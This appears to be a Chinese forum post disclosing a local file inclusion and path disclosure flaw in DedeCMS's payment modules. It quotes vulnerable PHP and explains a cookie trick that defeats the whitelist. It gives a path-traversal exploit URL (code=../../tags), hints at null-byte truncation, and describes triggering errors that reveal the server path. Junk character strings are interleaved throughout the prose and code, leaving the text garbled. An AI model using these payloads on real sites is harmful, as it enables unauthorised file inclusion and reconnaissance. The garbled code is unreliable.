dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)
( G0 v& d1 j/ {2 s3 l* r4 a
出现漏洞的两个文件为：
Include/payment/alipay.php
: {2 X8 Y. T$ S$ T5 [2 \8 c$ |Include/payment/yeepay.php
) H; q* C0 s: M7 |3 s漏洞均出现在respond方法里，估计这两个文件是临时工写的。

Include/payment/alipay.php

......
   function respond()
    {
        if (!empty($_POST))
        {
/ R: o& m! ~2 x. m4 ^! I            foreach($_POST as $key => $data)
0 g  x' y3 {" F            {
                $_GET[$key] = $data;
3 W& @, ?8 c1 q; {1 d& ^( f            }
9 X9 s4 o+ W4 S. k: ^4 b" `        }
  ^3 B* {* T- q! u, U- z) A( A$ {        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
7 \7 X" [: I* \! @' B......
7 A( P4 f7 p, W: h: [

  \0 X9 S  i2 E7 E2 p+ \, {: M5 K大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。

Include/payment/yeepay.php

" g% @+ r  F5 w* l" q' a0 j
2 N& _" Q! H1 t
......
/ _: F, _( S9 W! ]) D: D9 s7 ?" l    function respond()
: J0 d9 m. o8 c% V2 I    {
% L. v( [8 l' G( G! P+ }9 x7 ^
) J$ t$ V( u8 V, D        /* 引入配置文件 */
  d. W7 M* Q. N9 K3 {        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
2 h, c2 b% Q* O+ G
        $p1_MerId = trim($payment['yp_account']);
4 F  R+ D! X. g; b3 O        $merchantKey = trim($payment['yp_key']);
, a, f" y7 V/ X6 k' Z: Y......
6 O1 i1 [6 Q8 ~. _


4 R: w9 c0 L( I& x
大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。

/ e7 @% e& I* K2 O这两个方法在plus/carbuyaction.php文件调用。

plus/carbuyaction.php

......
} else if ($dopost == 'return') {
1 d( P5 w; e$ f1 F    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
    if (in_array($code, $write_list))
    {
7 _' k! w' q) k# W& w' f* k        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
        exit();  
9 n' i3 i+ G: W2 |) F2 F    } else {
) ^8 m2 g3 ?& T4 Z5 k        exit('Error:File Type Can\'t Recognized!');
  x7 I( ^& Q7 \5 o9 ?. M! N    }
}
......


7 b0 W  Y# T/ H, X
0 M% g+ z1 T( ?& [/ D$ W
* W  _1 o5 F8 v: ]/ z
" z6 Y; x% j& m( }
大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
8 {$ S7 H  _# q; L* Z所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
( W- h; _( _4 G. h
* Q" {8 p  ~+ B7 ^8 l回到include/common.inc.php来看看他的机制。
. J( W' u, o7 I4 f
' l: K1 O; N4 K8 E. F

( ~; r3 v' S9 E" M6 w& E( x% ?6 ?$ c......
' p2 ?. }6 ?) Y2 ~! Oforeach(Array('_GET','_POST','_COOKIE') as $_request)
{
        foreach($$_request as $_k => $_v)
        {
, B. U; U( ^8 e                if($_k == 'nvarname') ${$_k} = $_v;
0 i* l" U* I; |! J) G% ~                else ${$_k} = _RunMagicQuotes($_v);
        }
. S2 G5 e4 L) P7 A$ O4 L  m}
2 @; u0 A. v; e% `9 J& P: b......
+ I; z1 Q5 z* ~& F8 D$ w; g) t$ i大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
+ Y. k: w  N' V$ k* @# I+ U由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。